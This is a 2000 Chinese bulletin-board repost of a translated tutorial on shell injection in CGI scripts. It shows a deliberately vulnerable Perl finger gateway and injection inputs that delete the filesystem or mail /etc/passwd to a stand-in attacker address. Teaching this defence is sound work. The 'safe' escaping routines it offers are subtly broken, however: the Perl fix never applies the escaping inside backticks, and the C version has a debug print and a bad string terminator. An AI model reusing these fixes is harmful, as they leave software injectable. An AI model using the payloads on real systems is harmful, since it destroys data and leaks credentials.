computer 版 (精华区)

发信人: Aug (如风), 信区: network
标  题: CGI的安全<转载> (9)
发信站: 听涛站 (Tue Mar 14 16:03:52 2000), 转信

2-2.shell危险性

  很多的CGI任务都可以使用其他的程序很容易的实现。例如,你要写一个CGI
的邮件网关,完全使用CGI程序来完成执行邮件的发送代理是很愚蠢的行为。更
实用的方法是将数据通过管道传送到一个存在的邮件传送代理程序,比如
sendmail,然后让sendmail来完成剩下的工作。这种习惯很好并值得鼓励。

  安全风险依赖于你怎样调用这些外部的程序。完成这项工作在Perl和C中有很
多函数可以实现。它们中很多函数通过调用shell,然后让shell来执行这个命
令。这些命令被列在表1中,如果你使用了它们中的一个,那么你就使得Unix
shells在攻击下显得很脆弱。

  表1. C和Perl中可以调用shell的函数.
    Perl 函数                     C 函数
    system('...')                 system()
    open('| ...')                 popen()
    exec('...')

    eval('...')

         `...`

  为什么shell很危险呢?有很多的非数字的字符可以通过shell转换成特殊的
字符。这些字符被称为元字符(译者注:这里我将metacharacter译为元字符),见表
2。

表2. Shell metacharacters.
; < > * | ` & $
! # ( ) [ ] : {
} ' "


  每一个这种字符在shell中都起着特殊的作用。例如,假如你想利用finger来
查询一台计算机并将结果存储到一个文件中,你可以在命令行中如下输入:

  finger @fake.machine.org > results

  这会使用finger查询主机fake.machine.org并将查询结果保存到一个文本文
件results中。这个>字符在这里是一个重定向符。如果你要实际地使用>字符
——例如,你想将它回显到屏幕上——你将需要在这个字符前加一个反斜杠。
举个例子,下面将向屏幕输出一个符号>:

  echo \>

  这被称为转义字符(escaping or sanitizing the character string)。

  hacker是怎样利用这个作为他(她)的优势的?观察以下程序3中用perl编
写的finger程序。这个程序所做的是允许用户查询一个用户和一台主机的详细
信息,并且,这个CGI可以查询用户并显示结果。

程序3. finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an unsafe finger gateway
require 'cgi-lib.pl';
print &PrintHeader;
if (&ReadParse(*in)) {
  print "\n";
  print `/usr/bin/finger $in{'username'}`;
  print "\n";
}
else {
  print " \n";
  print "\n";
  print "\n\n";
  print "Finger Gateway\n";
  print "\n";
  print "User@Host: \n";
  print "\n";
  print "\n";
  print " \n";
}

  乍一看,这个程序好象没有什么害处。因为是用Perl编写的,不会有buffer
overflow的危险。我使用了finger的完全路径,这样gateway不会被伪造的
finger程序所欺骗。如果输入是一个不合适的格式,那么gateway将返回一个错
误而不会被人利用。

  但是,如果我尝试如下的输入会怎样呢(如图1所示)
    nobody@nowhere.org;/bin/rm -rf /
    FINGER GATEWAY
             ___________________________________
User@Host: |nobody@nowhere.org ; /bin/rm -rf / |
             -----------------------------------
______________
| Submit Query |
--------------
                              (图1)

(译者注:原图是一个浏览器,我仅画出HTML页中的部分。)

  我们来看一下下面的程序行会如何处理这样的输入:

  print `/usr/bin/finger $in{'username'}`

  由于你使用了向后的标记,首先它会执行一个shell。然后它将执行如下的
命令:

/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf /

  这将会怎样呢?假设在命令行像这样输入。它会删除所有的文件和目录,从
root的目录开始。我们需要sanitize这个输入来render the semicolon(;)
metacharacter harmless.在Perl中,利用表4中的函数可以很容易的实现。
(C中的这些等价函数在表5中;它们来自cgihtml的C库。)

程序4. Perl中的escape_input().
sub escape_input {
  @_ =~ s/([;<>\*\|`&\$!?#\(\)\[\]\{\}:'"\\])/\\$1/g;
  return @_;
}

程序5. C语言中的escape_input().
char *escape_input(char *str)
/* takes string and escapes all metacharacters.  should be used before
   including string in system() or similar call. */
{
  int i,j = 0;
  char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1));
  for (i = 0; i < strlen(str); i++) {
    printf("i = %d; j = %d\n",i,j);
    switch (str[i]) {
      case '|': case '&': case ';': case '(': case ')': case '<':
      case '>': case '\'': case '"': case '*': case '?': case '\\':
      case '[': case ']': case '$': case '!': case '#': case ';':
      case '`': case '{': case '}':
        new[j] = '\\';
        j++;
        break;
      default:
        break;
    }
    new[j] = str[i];
    j++;
  }
  new[j] = '\n';
  return new;
}


  这将返回一个带有跟随在\后的shell转义字符的字符串。这个修正的
finger.cgi网关在程序6中。

程序6. 一个安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require 'cgi-lib.pl';
sub escape_input {
  @_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
  return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
  print "\n";
  print `/usr/bin/finger &escape_input($in{'username'})`;
  print "\n";
}
else {
  print " \n";
  print "\n";
  print "\n\n";
  print "Finger Gateway\n";
  print "\n";
  print "User@Host: \n";
  print "\n";
  print "\n";
  print " \n";
}

  这次,如果你使用前述相同的输入,将派生出一个shell,它将尝试这样执
行:

  /usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /

  这样,那个恶意的企图将无法生效.它不再试图删除系统中所有的目录,而是
尝试finger用户nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符
组合未必是你的系统中的用户,因此可能会返回一个错误。

  记住几个问题。首先,如果你的Web服务器正确的配置了(例如,以非root
身份运行),那么,删除文件系统中的所有内容的企图不会成功。(如果服务
器以root身份运行,那么潜在的危害将是不可估量的。千万不要这样做!)另外,
用户还假定rm命令在/bin目录中。他或她假定了rm在这个路径中。然而,所有
这些只是对大多数的Unix系统的乐观的假设,并不是完全适用的。在一个
chrooted系统环境中,这个目录中并没有rm命令。那么hacker的努力将是徒劳
的。从理论上说,通过安全防范和正确配置你的Web服务器,你可以将潜在的危
害降低到几乎为0,即使是书写了糟糕的脚本。

  然而,你没有理由在编写CGI程序时可以掉以轻心。事实上,大多数的Web环
境并不是chrooted的,仅仅是因为它禁止了很多人需要在Web服务器中需要的
灵活性。即使服务器不是以root身份运行,用户不能将文件系统中的文件全部
删除,一些人可以仅仅通过如下的输入,将/etc/passwd文件寄给me@evil.org
作为可能的攻击途径:

    nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd

  我可以通过操纵这个漏洞来干很多事情,即使是在一个配置良好的环境中。
如果你在一个简单的CGI程序中容许一个漏洞从你的身边溜过,你怎么能肯定
你正确并安全的配置了你复杂的Unix系统和Web服务器?

  答案是你不能。你最好打赌弄清楚你的CGI程序是安全的。在shell中运行它
之前不轻易接受输入是很容易对付的事情,它还是CGI编程中最常见的问题之一。

  幸运的是,Perl拥有一个捕捉潜在感染的变量的很好的机制。如果你使用
taintperl而不是Perl(或者perl -T,如果你使用Perl 5),脚本将在潜在感染的
变量传递给shell命令处中止。这将帮助你在开始实际使用CGI程序时捕捉到所
有的潜在感染的变量的例子。

  注意到Perl拥有比C更多的派生shell的函数。这并不是显而易见的,即使是
对于中级的Perl程序员,在执行程序前向后标记派生出一个shell。这是高级
语言的风险抉择;因为你不是很明确地知道它做什么,所以你并不清楚一个函
数会产生怎样的安全漏洞。

  如果你避免了使用调用shell的函数,那么你不需要删除敏感的输入。在Perl
语言中,你可以通过使用system()或者exec()函数来封装每一个参数。例如,
如下的调用很安全的$input:

  system("/usr/ucb/finger",$input{'username'});

  然而,在你的finger gateway的情况下,这个特点是毫无用处的,因为你要
处理finger命令的输出,这个,除了你使用system函数外没有方法可以捕获。

  在C语言中,你也可以通过使用exec一类的函数来直接执行程序:exev(),
exec1(),execvp(),execlp(),和execle()。exec1()在C语言中等价于Perl中的
system()函数。你使用哪一个exec函数以及如何使之按你的需要执行:这些细
节已经超出了本书的范围。

--
※ 来源:.听涛站 cces.net.[FROM: 匿名天使的家]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:1.438毫秒